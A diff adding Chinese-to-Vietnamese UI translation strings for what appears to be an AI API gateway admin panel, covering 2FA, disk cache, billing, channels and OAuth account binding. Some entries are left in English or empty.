+    "确认清除": "Xác nhận xóa",
+    "确认清除历史日志": "Xác nhận xóa nhật ký lịch sử",
+    "确认禁用": "Xác nhận vô hiệu hóa",
+    "确认移除？": "Confirm remove?",
+    "确认补单": "Xác nhận hoàn thành đơn hàng",
+    "确认解绑": "Xác nhận hủy liên kết",
+    "确认解绑 Passkey": "Xác nhận hủy liên kết Passkey",
+    "确认设置并完成初始化": "Xác nhận cài đặt và hoàn tất khởi tạo",
+    "确认重置": "Xác nhận đặt lại",
+    "确认重置 Passkey": "Xác nhận đặt lại Passkey",
+    "确认重置两步验证": "Xác nhận đặt lại xác thực hai yếu tố",
+    "确认重置密码": "Xác nhận đặt lại mật khẩu",
+    "确认重置密钥？": "Xác nhận đặt lại khóa?",
+    "磁盘 阈值 (%)": "Ngưỡng đĩa (%)",
+    "磁盘使用率超过此值时拒绝请求": "Từ chối yêu cầu khi sử dụng đĩa vượt quá giá trị này",
+    "磁盘可用空间小于缓存最大总量设置": "Dung lượng đĩa trống nhỏ hơn cài đặt tổng dung lượng đệm tối đa",
+    "磁盘命中": "Lượt trúng đĩa",
+    "磁盘缓存最大总量 (MB)": "Tổng dung lượng tối đa bộ nhớ đệm đĩa (MB)",
+    "磁盘缓存占用的最大空间": "Dung lượng tối đa chiếm bởi bộ nhớ đệm đĩa",
+    "磁盘缓存已清理": "Bộ nhớ đệm đĩa đã được dọn",
+    "磁盘缓存设置（磁盘换内存）": "Cài đặt bộ nhớ đệm đĩa (đổi đĩa/bộ nhớ)",
+    "磁盘缓存阈值 (MB)": "Ngưỡng bộ nhớ đệm đĩa (MB)",
+    "示例": "Ví dụ",
+    "示例：": "Ví dụ: ",
+    "示例：{\"default\": [200, 100], \"vip\": [0, 1000]}。": "Ví dụ: {\"default\": [200, 100], \"vip\": [0, 1000]}.",
+    "社群": "Cộng đồng",
+    "视频": "Video",
+    "视频Remix": "Remix video",
+    "视频无法在当前浏览器中播放，这可能是由于：": "The video cannot be played in this browser, possibly because:",
+    "禁用": "Vô hiệu hóa",
+    "禁用 Passkey": "Vô hiệu hóa Passkey",
+    "禁用 store 透传": "Vô hiệu hóa truyền qua store",
+    "禁用2FA失败": "Vô hiệu hóa xác thực hai yếu tố thất bại",
+    "禁用两步验证": "Vô hiệu hóa xác thực hai yếu tố",
+    "禁用两步验证（2FA）": "Vô hiệu hóa xác thực hai yếu tố (2FA)",
+    "禁用全部": "Vô hiệu hóa tất cả",
+    "禁用原因": "Lý do vô hiệu hóa",
+    "禁用后用户端不再展示，但历史订单不受影响。是否继续？": "Sau khi tắt, gói sẽ không hiển thị cho người dùng nhưng lịch sử đơn hàng không bị ảnh hưởng. Tiếp tục?",
+    "禁用后的影响：": "Tác động sau khi vô hiệu hóa:",
+    "禁用密钥失败": "Vô hiệu hóa khóa thất bại",
+    "禁用思考处理的模型列表": "Danh sách mô hình bỏ qua xử lý tư duy",
+    "禁用成功": "Vô hiệu hóa thành công",
+    "禁用所有密钥": "Vô hiệu hóa tất cả các khóa",
+    "禁用所有密钥失败": "Vô hiệu hóa tất cả các khóa thất bại",
+    "禁用时间": "Thời gian vô hiệu hóa",
+    "禁用注册": "Vô hiệu hóa đăng ký",
+    "禁用用户": "Vô hiệu hóa người dùng",
+    "禁用通道": "Vô hiệu hóa kênh",
+    "私有": "Riêng tư",
+    "私有IP访问详细说明": "⚠️ Cảnh báo bảo mật: Bật tính năng này cho phép truy cập vào tài nguyên mạng nội bộ (localhost, mạng riêng). Chỉ bật nếu bạn cần truy cập các dịch vụ nội bộ và hiểu rõ các rủi ro bảo mật.",
+    "私有令牌": "Mã thông báo riêng tư",
+    "私有部署地址": "Địa chỉ triển khai riêng",
+    "私有镜像仓库的密码": "Password for private image registry",
+    "私有镜像仓库的用户名": "Username for private image registry",
+    "秒": "Giây",
+    "积分": "Điểm",
+    "积分兑换": "Đổi điểm",
+    "积分记录": "Hồ sơ điểm",
+    "移动": "",
+    "移动请求头": "",
+    "移除": "Remove",
+    "移除 (-:)": "Remove (-:)",
+    "移除 functionResponse.id 字段": "Xóa trường functionResponse.id",
+    "移除 One API 的版权标识必须首先获得授权，项目维护需要花费大量精力，如果本项目对你有意义，请主动支持本项目": "Việc xóa dấu bản quyền One API trước tiên phải được ủy quyền. Việc bảo trì dự án đòi hỏi rất nhiều nỗ lực. Nếu dự án này có ý nghĩa với bạn, vui lòng chủ động ủng hộ dự án này.",
+    "空": "Trống",
+    "窗口处理": "xử lý cửa sổ",
+    "窗口等待": "chờ cửa sổ",
+    "立即充值": "Nạp tiền ngay",
+    "立即注册": "Đăng ký ngay",
+    "立即登录": "Đăng nhập ngay",
+    "立即签到": "Đăng nhập ngay",
+    "立即订阅": "Đăng ký ngay",
+    "立即验证": "Xác minh ngay",
+    "站点名称": "Tên trang web",
+    "站点图标": "Biểu tượng trang web",
+    "站点地址": "Địa chỉ trang web",
+    "站点所有额度将以原始 Token 数显示，不做货币换算": "Tất cả hạn mức trang web sẽ được hiển thị dưới dạng số token thô, không chuyển đổi tiền tệ",
+    "站点所有额度将以美元 ($) 显示": "Tất cả hạn mức trang web sẽ được hiển thị bằng USD ($)",
+    "站点所有额度将按汇率换算为人民币 (¥) 显示": "Tất cả hạn mức trang web sẽ được chuyển đổi sang CNY (¥) theo tỷ giá hối đoái",
+    "站点所有额度将按汇率换算为自定义货币显示": "Tất cả hạn mức trang web sẽ được chuyển đổi sang tiền tệ tùy chỉnh theo tỷ giá hối đoái",
+    "站点设置": "Cài đặt trang web",
+    "站点额度展示类型及汇率": "Loại hiển thị hạn ngạch trang web và tỷ giá hối đoái",
+    "端口号必须在1-65535之间": "Port number must be between 1-65535",
+    "端口配置详细说明": "Hạn chế các yêu cầu bên ngoài đến các cổng cụ thể. Sử dụng cổng đơn (80, 443) hoặc phạm vi (8000-8999). Danh sách trống cho phép tất cả các cổng. Mặc định bao gồm các cổng web phổ biến.",
+    "端点": "Điểm cuối",
+    "端点 URL 必须是完整地址（以 http:// 或 https:// 开头）": "URL endpoint phải là địa chỉ đầy đủ (bắt đầu bằng http:// hoặc https://)",
+    "端点映射": "Ánh xạ điểm cuối",
+    "端点类型": "Loại điểm cuối",
+    "端点组": "Nhóm điểm cuối",
+    "第 {{line}} 条 prune_objects 缺少条件": "Quy tắc #{{line}} prune_objects thiếu điều kiện",
+    "第 {{line}} 条 prune_objects 需要至少一个匹配条件": "Quy tắc #{{line}} prune_objects cần ít nhất một điều kiện khớp",
+    "第 {{line}} 条 return_error 需要 message 字段": "Quy tắc #{{line}} return_error cần trường message",
+    "第 {{line}} 条操作缺少值": "Quy tắc #{{line}} thao tác thiếu giá trị",
+    "第 {{line}} 条操作缺少来源字段": "Quy tắc #{{line}} thao tác thiếu trường nguồn",
+    "第 {{line}} 条操作缺少目标字段": "Quy tắc #{{line}} thao tác thiếu trường đích",
+    "第 {{line}} 条操作缺少目标路径": "Quy tắc #{{line}} thao tác thiếu đường dẫn đích",
+    "第 {{line}} 条请求头透传格式无效": "Quy tắc #{{line}} định dạng truyền header không hợp lệ",
+    "第 {{line}} 条请求头透传缺少请求头名称": "Quy tắc #{{line}} truyền header thiếu tên header",
+    "第三方支付配置": "Cấu hình thanh toán bên thứ ba",
+    "第三方登录": "Đăng nhập bên thứ ba",
+    "第三方账户绑定状态（只读）": "Trạng thái liên kết tài khoản bên thứ ba (chỉ đọc)",
+    "等价金额：": "Số tiền tương đương: ",
+    "等待中": "Đang chờ",
+    "等待获取邮箱信息...": "Đang chờ lấy thông tin email...",
+    "策略": "Chiến lược",
+    "筛选": "Lọc",
+    "签到最大额度": "Hạn mức đăng nhập tối đa",
+    "签到最小额度": "Hạn mức đăng nhập tối thiểu",
+    "签到功能允许用户每日签到获取随机额度奖励": "Tính năng đăng nhập cho phép người dùng đăng nhập hàng ngày để nhận phần thưởng hạn mức ngẫu nhiên",
+    "签到失败": "Đăng nhập thất bại",
+    "签到奖励将直接添加到您的账户余额": "Phần thưởng đăng nhập sẽ được thêm trực tiếp vào số dư tài khoản của bạn",
+    "签到奖励的最大额度": "Hạn mức tối đa cho phần thưởng đăng nhập",
+    "签到奖励的最小额度": "Hạn mức tối thiểu cho phần thưởng đăng nhập",
+    "签到成功！获得": "Đăng nhập thành công! Đã nhận",
+    "签到设置": "Cài đặt đăng nhập",
+    "简介": "Giới thiệu",
+    "简单来说：同一个令牌分组，不同等级的用户可以享受不同的价格。": "In short: same token group, different user tiers can enjoy different prices.",
+    "简单模式": "Chế độ đơn giản",
+    "简洁": "Đơn giản",
+    "简洁模式：按 type 全量清理对象，例如 redacted_thinking。": "Chế độ đơn giản: Dọn tất cả đối tượng theo type, VD: redacted_thinking.",
+    "简洁模式仅返回 message；状态码和错误类型将使用系统默认值。": "Chế độ đơn giản chỉ trả về message; mã trạng thái và loại lỗi sẽ sử dụng giá trị mặc định hệ thống.",
+    "管理": "Quản lý",
+    "管理 Ollama 模型的拉取和删除": "Manage Ollama model pulling and deletion",
+    "管理你的 LinuxDO OAuth App": "Quản lý LinuxDO OAuth App của bạn",
+    "管理分组": "Quản lý nhóm",
+    "管理后台": "Bảng quản trị",
+    "管理员": "Quản trị viên",
+    "管理员分配的优惠分组": "Admin-assigned discount group",
+    "管理员分配的基础分组": "Admin-assigned base group",
+    "管理员区域": "Khu vực quản trị viên",
+    "管理员暂时未设置任何关于内容": "Quản trị viên chưa đặt bất kỳ nội dung Giới thiệu tùy chỉnh nào",
+    "管理员未开启 Creem 充值！": "The administrator has not enabled Creem recharge!",
+    "管理员未开启Stripe充值！": "Quản trị viên chưa bật nạp tiền Stripe!",
+    "管理员未开启在线充值！": "Quản trị viên chưa bật nạp tiền trực tuyến!",
+    "管理员未开启在线充值功能，请联系管理员开启或使用兑换码充值。": "Quản trị viên chưa bật chức năng nạp tiền trực tuyến, vui lòng liên hệ quản trị viên để bật hoặc nạp tiền bằng mã đổi thưởng.",
+    "管理员未开启在线支付功能，请联系管理员配置。": "Quản trị viên chưa bật thanh toán trực tuyến, vui lòng liên hệ quản trị viên.",
+    "管理员未设置用户可选分组": "Quản trị viên chưa đặt nhóm người dùng có thể chọn",
+    "管理员给用户分配的分组（如 vip）不仅决定用户身份，还会影响后续两个功能：": "The group assigned to a user (e.g., vip) not only determines their identity, but also affects the following two features:",
+    "管理员设置": "Cài đặt quản trị viên",
+    "管理员设置了外部链接，点击下方按钮访问": "Quản trị viên đã thiết lập các liên kết bên ngoài, nhấp vào nút bên dưới để truy cập",
+    "管理员账号": "Tài khoản quản trị viên",
+    "管理员账号已经初始化过，请继续设置其他参数": "Tài khoản quản trị viên đã được khởi tạo, vui lòng tiếp tục thiết lập các tham số khác",
+    "管理工具": "Công cụ quản lý",
+    "管理平台": "Nền tảng quản lý",
+    "管理您的个人信息": "Quản lý thông tin cá nhân của bạn",
+    "管理您的密钥": "Quản lý khóa của bạn",
+    "管理您的账户": "Quản lý tài khoản của bạn",
+    "管理控制台": "Bảng điều khiển quản lý",
+    "管理服务器运行日志文件。日志文件会随运行时间不断累积，建议定期清理以释放磁盘空间。": "Quản lý tệp nhật ký máy chủ. Tệp nhật ký tích lũy theo thời gian; nên dọn dẹp định kỳ để giải phóng dung lượng đĩa.",
+    "管理模型、标签、端点等预填组": "Quản lý các nhóm điền sẵn như mô hình, thẻ, điểm cuối, v.v.",
+    "管理用户": "Quản lý người dùng",
+    "管理用户已绑定的第三方账户，支持筛选与解绑": "Quản lý tài khoản bên thứ ba đã liên kết của người dùng, hỗ trợ lọc và hủy liên kết",
+    "管理绑定": "Quản lý liên kết",
+    "管理面板": "Bảng quản lý",
+    "类": "Lớp",
+    "类型": "Loại",
+    "类型（常用）": "Loại (phổ biến)",
+    "粘贴图片失败": "Dán hình ảnh thất bại",
+    "精确": "Chính xác",
+    "系统": "Hệ thống",
+    "系统令牌已复制到剪切板": "Mã thông báo hệ thống đã được sao chép vào khay nhớ tạm",
+    "系统任务记录": "Hồ sơ tác vụ hệ thống",
+    "系统信息": "Thông tin hệ thống",
+    "系统公告": "Thông báo hệ thống",
+    "系统公告管理，可以发布系统通知和重要消息（最多100个，前端显示最新20条）": "Quản lý thông báo hệ thống, bạn có thể xuất bản thông báo hệ thống và tin nhắn quan trọng (tối đa 100, hiển thị 20 tin mới nhất ở giao diện người dùng)",
+    "系统内存": "Bộ nhớ hệ thống",
+    "系统内部以美元 (USD) 为基准计价。用户余额、充值金额、模型定价、用量日志等所有金额显示均按此汇率换算为人民币，不影响内部计费": "Hệ thống sử dụng USD làm đơn vị định giá cơ sở. Số dư người dùng, số tiền nạp, giá mô hình, nhật ký sử dụng — tất cả số tiền hiển thị được chuyển đổi sang CNY theo tỷ giá này. Thanh toán nội bộ không bị ảnh hưởng.",
+    "系统内部以美元 (USD) 为基准计价。用户余额、充值金额、模型定价、用量日志等所有金额显示均按此汇率换算为自定义货币，不影响内部计费": "Hệ thống sử dụng USD làm đơn vị định giá cơ sở. Số dư người dùng, số tiền nạp, giá mô hình, nhật ký sử dụng — tất cả số tiền hiển thị được chuyển đổi sang tiền tệ tùy chỉnh theo tỷ giá này. Thanh toán nội bộ không bị ảnh hưởng.",
+    "系统内部计费精度，默认 500000，修改可能导致计费异常，请谨慎操作": "Độ chính xác thanh toán nội bộ, mặc định 500000. Thay đổi có thể gây ra lỗi thanh toán — hãy thận trọng.",
+    "系统初始化": "Khởi tạo hệ thống",
+    "系统初始化失败，请重试": "Khởi tạo hệ thống thất bại, vui lòng thử lại",
+    "系统初始化成功，正在跳转...": "Khởi tạo hệ thống thành công, đang chuyển hướng...",
+    "系统参数配置": "Cấu hình tham số hệ thống",
+    "系统名称": "Tên hệ thống",
+    "系统名称已更新": "Tên hệ thống đã được cập nhật",
+    "系统名称更新失败": "Cập nhật tên hệ thống thất bại",
+    "系统已为该部署准备 Ollama 镜像与随机 API Key": "System has prepared Ollama image and random API Key for this deployment",
+    "系统性能监控": "Giám sát hiệu suất hệ thống",
+    "系统提示": "Gợi ý hệ thống",
+    "系统提示覆盖": "Ghi đè lời nhắc hệ thống",
+    "系统提示词": "Từ nhắc hệ thống",
+    "系统提示词拼接": "Nối lời nhắc hệ thống",
+    "系统数据统计": "Thống kê dữ liệu hệ thống",
+    "系统文档和帮助信息": "Tài liệu hệ thống và thông tin trợ giúp",
+    "系统日志": "Nhật ký hệ thống",
+    "系统消息": "Tin nhắn hệ thống",
+    "系统版本": "Phiên bản hệ thống",
+    "系统状态": "Trạng thái hệ thống",
+    "系统监控": "Giám sát hệ thống",
+    "系统管理": "Quản lý hệ thống",
+    "系统管理功能": "Chức năng quản lý hệ thống",
+    "系统设置": "Hệ thống",
+    "系统访问令牌": "Mã thông báo truy cập hệ thống",
+    "系统负载": "Tải hệ thống",
+    "系统通知": "Thông báo hệ thống",
+    "系统错误": "Lỗi hệ thống",
+    "系统错误，请联系管理员": "Lỗi hệ thống, vui lòng liên hệ quản trị viên",
+    "约": "Khoảng",
+    "级别": "Cấp độ",
+    "索引": "Chỉ mục",
+    "紧凑列表": "Danh sách thu gọn",
+    "纯字符串会直接覆盖整条请求头，或者点击“查看 JSON 示例”按 token 规则处理。": "",
+    "纯文本": "Văn bản thuần túy",
+    "累计消耗": "Tiêu thụ tích lũy",
+    "累计签到": "Tổng số lần đăng nhập",
+    "累计获得": "Tổng đã nhận",
+    "线路": "Tuyến",
+    "线路描述": "Mô tả tuyến",
+    "组": "Nhóm",
+    "组件": "Thành phần",
+    "组列表": "Danh sách nhóm",
+    "组名": "Tên nhóm",
+    "组织": "Tổ chức",
+    "组织 ID": "ID tổ chức",
+    "组织，不填则为默认组织": "Tổ chức, mặc định nếu để trống",
+    "终止中": "Terminating",
+    "终止请求中": "Terminating request",
+    "绑定": "Liên kết",
+    "绑定 GitHub 账户": "Liên kết tài khoản GitHub",
+    "绑定 Linux DO 账户": "Liên kết tài khoản Linux DO",
+    "绑定 OIDC 账户": "Liên kết tài khoản OIDC",
+    "绑定 Telegram": "Liên kết Telegram",
+    "绑定 Telegram 账户": "Liên kết tài khoản Telegram",
+    "绑定 微信 账户": "Liên kết tài khoản WeChat",
+    "绑定信息": "Thông tin liên kết",
+    "绑定后会立即生成用户订阅（无需支付），有效期按套餐配置计算。": "Sau khi liên kết, sẽ tạo đăng ký cho người dùng ngay (không cần thanh toán); thời hạn theo cấu hình gói.",
+    "绑定失败": "Liên kết thất bại",
+    "绑定微信账户": "Liên kết tài khoản WeChat",
+    "绑定成功": "Liên kết thành công",
+    "绑定成功！": "Liên kết thành công!",
+    "绑定手机": "Liên kết điện thoại",
+    "绑定订阅套餐": "Liên kết gói đăng ký",
+    "绑定邮箱": "Liên kết email",
+    "绑定邮箱地址": "Liên kết địa chỉ email",
+    "结束": "Kết thúc",
+    "结束时间": "Thời gian kết thúc",
+    "结果图片": "Hình ảnh kết quả",
+    "结算": "Thanh toán",
+    "结算差额": "Chênh lệch quyết toán",
+    "绘图": "Vẽ",
+    "绘图 ID": "ID vẽ",
+    "绘图任务": "Tác vụ vẽ",
+    "绘图任务记录": "Hồ sơ tác vụ vẽ",
+    "绘图日志": "Nhật ký vẽ",
+    "绘图模型": "Mô hình vẽ",
+    "绘图设置": "Vẽ",
+    "统一的": "Cổng thống nhất",
+    "统计": "Thống kê",
+    "统计Tokens": "Thống kê Tokens",
+    "统计信息": "Thông tin thống kê",
+    "统计已重置": "Thống kê đã được đặt lại",
+    "统计次数": "Thống kê số lần",
+    "统计额度": "Thống kê hạn ngạch",
+    "继续": "Tiếp tục",
+    "缓存 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Bộ nhớ đệm {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "缓存 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "Cache {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "缓存 Tokens": "Tokens bộ nhớ đệm",
+    "缓存: {{cacheRatio}}": "Bộ nhớ đệm: {{cacheRatio}}",
+    "缓存价格：{{symbol}}{{price}} * {{cacheRatio}} = {{symbol}}{{total}} / 1M tokens (缓存倍率: {{cacheRatio}})": "Giá bộ nhớ đệm: {{symbol}}{{price}} * {{cacheRatio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ bộ nhớ đệm: {{cacheRatio}})",
+    "缓存价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (缓存倍率: {{cacheRatio}})": "Giá bộ nhớ đệm: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ bộ nhớ đệm: {{cacheRatio}})",
+    "缓存倍率": "Tỷ lệ bộ nhớ đệm",
+    "缓存倍率 {{cacheRatio}}": "Cache ratio {{cacheRatio}}",
+    "缓存写": "Ghi bộ nhớ đệm",
+    "缓存创建 {{price}} / 1M tokens": "Tạo bộ nhớ đệm {{price}} / 1M tokens",
+    "缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}": "Tạo bộ nhớ đệm {{tokens}} tokens / 1M tokens * {{symbol}}{{price}}",
+    "缓存创建 {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (倍率: {{ratio}})": "Cache creation {{tokens}} tokens / 1M tokens * {{symbol}}{{price}} (ratio: {{ratio}})",
+    "缓存创建 Tokens": "Tokens tạo bộ nhớ đệm",
+    "缓存创建: {{cacheCreationRatio}}": "Tạo bộ nhớ đệm: {{cacheCreationRatio}}",
+    "缓存创建: 1h {{cacheCreationRatio1h}}": "Tạo bộ nhớ đệm: 1h {{cacheCreationRatio1h}}",
+    "缓存创建: 5m {{cacheCreationRatio5m}}": "Tạo bộ nhớ đệm: 5m {{cacheCreationRatio5m}}",
+    "缓存创建: 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}": "Cache creation: 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}",
+    "缓存创建：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 缓存创建倍率 {{cacheCreationRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Tạo bộ nhớ đệm: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số tạo bộ nhớ đệm {{cacheCreationRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "缓存创建价格": "Giá tạo bộ nhớ đệm đầu vào",
+    "缓存创建价格 {{symbol}}{{price}} / 1M tokens": "Giá tạo bộ nhớ đệm {{symbol}}{{price}} / 1M tokens",
+    "缓存创建价格：{{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (缓存创建倍率: {{cacheCreationRatio}})": "Giá tạo bộ nhớ đệm: {{symbol}}{{price}} * {{ratio}} = {{symbol}}{{total}} / 1M tokens (Tỷ lệ tạo bộ nhớ đệm: {{cacheCreationRatio}})",
+    "缓存创建价格：{{symbol}}{{price}} / 1M tokens": "Giá tạo bộ nhớ đệm: {{symbol}}{{price}} / 1M tokens",
+    "缓存创建价格合计：5m {{symbol}}{{five}} + 1h {{symbol}}{{one}} = {{symbol}}{{total}} / 1M tokens": "Cache creation price total: 5m {{symbol}}{{five}} + 1h {{symbol}}{{one}} = {{symbol}}{{total}} / 1M tokens",
+    "缓存创建倍率": "Tỷ lệ tạo bộ nhớ đệm",
+    "缓存创建倍率 {{cacheCreationRatio}}": "Cache creation ratio {{cacheCreationRatio}}",
+    "缓存创建倍率 1h {{cacheCreationRatio1h}}": "Tỷ lệ tạo bộ nhớ đệm 1h {{cacheCreationRatio1h}}",
+    "缓存创建倍率 5m {{cacheCreationRatio5m}}": "Tỷ lệ tạo bộ nhớ đệm 5m {{cacheCreationRatio5m}}",
+    "缓存创建倍率 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}": "Hệ số tạo bộ nhớ đệm 5m {{cacheCreationRatio5m}} / 1h {{cacheCreationRatio1h}}",
+    "缓存条目数": "Số mục bộ nhớ đệm",
+    "缓存目录": "Thư mục bộ nhớ đệm",
+    "缓存目录磁盘空间": "Dung lượng đĩa thư mục bộ nhớ đệm",
+    "缓存读": "Đọc bộ nhớ đệm",
+    "缓存读 {{price}} / 1M tokens": "Đọc bộ nhớ đệm {{price}} / 1M tokens",
+    "缓存读取：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 缓存倍率 {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đọc bộ nhớ đệm: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số bộ nhớ đệm {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "缓存读取价格": "Giá đọc bộ nhớ đệm đầu vào",
+    "缓存读取价格 {{symbol}}{{price}} / 1M tokens": "Giá đọc bộ nhớ đệm {{symbol}}{{price}} / 1M tokens",
+    "缓存读取价格：{{symbol}}{{price}} / 1M tokens": "Giá đọc bộ nhớ đệm: {{symbol}}{{price}} / 1M tokens",
+    "缓存读取价格：{{symbol}}{{total}} / 1M tokens": "Giá đọc bộ nhớ đệm: {{symbol}}{{total}} / 1M tokens",
+    "缓存读取倍率": "",
+    "缓存输入：{{tokens}} / 1M * 模型倍率 {{modelRatio}} * 缓存倍率 {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}": "Đầu vào bộ nhớ đệm: {{tokens}} / 1M * hệ số mô hình {{modelRatio}} * hệ số bộ nhớ đệm {{cacheRatio}} * {{ratioType}} {{ratio}} = {{amount}}",
+    "编辑": "Chỉnh sửa",
+    "编辑 OAuth 提供商": "Chỉnh sửa nhà cung cấp OAuth",
+    "编辑API": "Chỉnh sửa API",
+    "编辑产品": "Chỉnh sửa sản phẩm",
+    "编辑供应商": "Chỉnh sửa nhà cung cấp",
+    "编辑公告": "Chỉnh sửa thông báo",
+    "编辑公告内容": "Chỉnh sửa nội dung thông báo",
+    "编辑分类": "Chỉnh sửa danh mục",
+    "编辑分组": "Chỉnh sửa nhóm",
+    "编辑失败": "Chỉnh sửa thất bại",
+    "编辑密钥": "Chỉnh sửa khóa",
+    "编辑成功": "Chỉnh sửa thành công",
+    "编辑支付方式": "",
+    "编辑方式": "Chế độ chỉnh sửa",
+    "编辑标签": "Chỉnh sửa thẻ",
+    "编辑模型": "Chỉnh sửa mô hình",
+    "编辑模式": "Chế độ chỉnh sửa",
+    "编辑渠道": "Chỉnh sửa kênh",
+    "编辑用户": "Chỉnh sửa người dùng",
+    "编辑聊天配置": "Chỉnh sửa cấu hình trò chuyện",
+    "编辑规则": "Chỉnh sửa quy tắc",
+    "编辑通道": "Chỉnh sửa kênh",
+    "编辑问答": "Chỉnh sửa hỏi đáp",
+    "缩词": "Rút gọn",
+    "缺省 MaxTokens": "MaxTokens mặc định",
+    "网站地址": "Địa chỉ trang web",
+    "网站域名标识": "Định danh tên miền trang web",
+    "网络": "Mạng",
+    "网络连接失败，请检查网络设置或稍后重试": "Network connection failed, please check network settings or try again later",
+    "网络配置": "Network Configuration",
+    "网络错误": "Lỗi mạng",
+    "置信度": "Độ tin cậy",
+    "置顶": "Ghim",
+    "美元": "US Dollar",
+    "美金": "USD",
+    "翻译": "Dịch",
+    "翻转": "Lật",
+    "老密码": "Mật khẩu cũ",
+    "耗时": "Thời gian đã trôi qua",
+    "聊天": "Trò chuyện",
+    "聊天会话管理": "Quản lý phiên trò chuyện",
+    "聊天区域": "Khu vực trò chuyện",
+    "聊天应用名称": "Tên ứng dụng trò chuyện",
+    "聊天应用名称已存在，请使用其他名称": "Tên ứng dụng trò chuyện đã tồn tại, vui lòng sử dụng tên khác",
+    "聊天设置": "Trò chuyện",
+    "聊天配置": "Cấu hình trò chuyện",
+    "聊天链接配置错误，请联系管理员": "Lỗi cấu hình liên kết trò chuyện, vui lòng liên hệ quản trị viên",
+    "联系": "Liên hệ",
+    "联系我们": "Liên hệ chúng tôi",
+    "联系方式": "Thông tin liên hệ",
+    "联系管理员": "Liên hệ quản trị viên",
+    "腾讯混元": "Tencent Hunyuan",
+    "自动": "Tự động",
+    "自动分组": "Auto Group",
+    "自动分组auto，从第一个开始选择": "Tự động nhóm auto, chọn từ cái đầu tiên",
+    "自动分组选择": "Auto Group Selection",
+    "自动刷新": "Tự động làm mới",
+    "自动刷新中": "Auto refreshing",
+    "自动去重": "Tự động loại bỏ trùng lặp",
+    "自动去重模式": "Chế độ tự động loại bỏ trùng lặp",
+    "自动填充字段": "Tự động điền trường",
+    "自动填入": "Tự động điền",
+    "自动检测": "Tự động phát hiện",
+    "自动模式": "Chế độ tự động",
+    "自动测试所有通道间隔时间": "Khoảng thời gian tự động kiểm tra tất cả các kênh",
+    "自动生成": "Tự động tạo",
+    "自动生成：": "Tự động tạo:",
+    "自动禁用": "Tự động vô hiệu hóa",
+    "自动禁用关键字": "Từ khóa tự động vô hiệu hóa",
+    "自动禁用关键词": "Từ khóa tự động vô hiệu hóa",
+    "自动禁用开启": "Bật tự động vô hiệu hóa",
+    "自动禁用状态码": "Mã trạng thái tự động vô hiệu",
+    "自动禁用状态码格式不正确": "Định dạng mã trạng thái tự động vô hiệu không chính xác",
+    "自动续费": "Tự động gia hạn",
+    "自动选择": "Tự động chọn",
+    "自动重试状态码": "Mã trạng thái tự động thử lại",
+    "自动重试状态码格式不正确": "Định dạng mã trạng thái tự động thử lại không chính xác",
+    "自定义": "Tùy chỉnh",
+    "自定义 JSON": "JSON tùy chỉnh",
+    "自定义 OAuth 提供商": "Nhà cung cấp OAuth tùy chỉnh",
+    "自定义充值数量选项": "Tùy chọn số lượng nạp tiền tùy chỉnh",
+    "自定义充值数量选项不是合法的 JSON 数组": "Tùy chọn số lượng nạp tiền tùy chỉnh không phải là mảng JSON hợp lệ",
+    "自定义变焦-提交": "Custom Zoom-Submit",
+    "自定义图标": "Biểu tượng tùy chỉnh",
+    "自定义图标 URL": "URL biểu tượng tùy chỉnh",
+    "自定义模型": "Mô hình tùy chỉnh",
+    "自定义模型名称": "Tên mô hình tùy chỉnh",
+    "自定义模式下不可用": "Không khả dụng trong chế độ tùy chỉnh",
+    "自定义渠道": "Kênh tùy chỉnh",
+    "自定义秒数": "Số giây tùy chỉnh",
+    "自定义规则": "Quy tắc tùy chỉnh",
+    "自定义设置": "Cài đặt tùy chỉnh",
+    "自定义请求体模式": "Chế độ nội dung yêu cầu tùy chỉnh",
+    "自定义货币": "Tiền tệ tùy chỉnh",
+    "自定义货币符号": "Ký hiệu tiền tệ tùy chỉnh",
+    "自定义货币符号将显示在所有额度数值前，例如 €1.50": "Ký hiệu tiền tệ tùy chỉnh sẽ hiển thị trước tất cả số tiền hạn mức, ví dụ €1.50",
+    "自定义错误响应": "Phản hồi lỗi tùy chỉnh",
+    "自定义镜像": "Custom Image",
+    "自用模式": "Chế độ tự dùng",
+    "自适应": "Thích ứng",
+    "自适应列表": "Danh sách thích ứng",
+    "至": "đến",
+    "节点": "Nút",
+    "节省": "Tiết kiệm",
+    "花费": "Chi tiêu",
+    "花费时间": "Thời gian chi tiêu",
+    "若不填则自动生成": "Nếu để trống, nó sẽ được tạo tự động",
+    "若你的 OIDC Provider 支持 Discovery Endpoint，你可以仅填写 OIDC Well-Known URL，系统会自动获取 OIDC 配置": "Nếu Nhà cung cấp OIDC của bạn hỗ trợ Discovery Endpoint, bạn chỉ cần điền OIDC Well-Known URL, hệ thống sẽ tự động lấy cấu hình OIDC",
+    "若未收到邮件，请检查垃圾箱": "Nếu bạn không nhận được email, vui lòng kiểm tra thư mục thư rác",
+    "范围": "Phạm vi",
+    "草稿": "Bản nháp",
+    "获取": "Lấy",
+    "获取 Discovery 配置": "Lấy cấu hình Discovery",
+    "获取 Discovery 配置失败：": "Lấy cấu hình Discovery thất bại: ",
+    "获取 io.net API Key": "Get io.net API Key",
